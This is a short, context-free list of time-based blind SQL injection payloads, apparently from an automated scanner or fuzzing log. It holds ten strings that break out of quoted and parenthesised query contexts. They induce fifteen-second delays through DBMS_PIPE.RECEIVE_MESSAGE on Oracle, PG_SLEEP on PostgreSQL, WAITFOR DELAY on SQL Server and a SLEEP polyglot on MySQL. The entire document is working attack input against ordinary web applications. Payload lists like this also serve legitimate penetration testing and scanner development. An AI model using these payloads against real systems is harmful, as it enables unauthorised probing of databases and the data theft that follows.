555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555tmu3YZNi')) OR 212=(SELECT 212 FROM PG_SLEEP(15))--

555sME7QfEn') OR 355=(SELECT 355 FROM PG_SLEEP(15))--

555kWUEwQx9' OR 796=(SELECT 796 FROM PG_SLEEP(15))--

555-1)) OR 357=(SELECT 357 FROM PG_SLEEP(15))--

555-1) OR 327=(SELECT 327 FROM PG_SLEEP(15))--

555-1 OR 22=(SELECT 22 FROM PG_SLEEP(15))--

555-1); waitfor delay '0:0:15' --

555-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/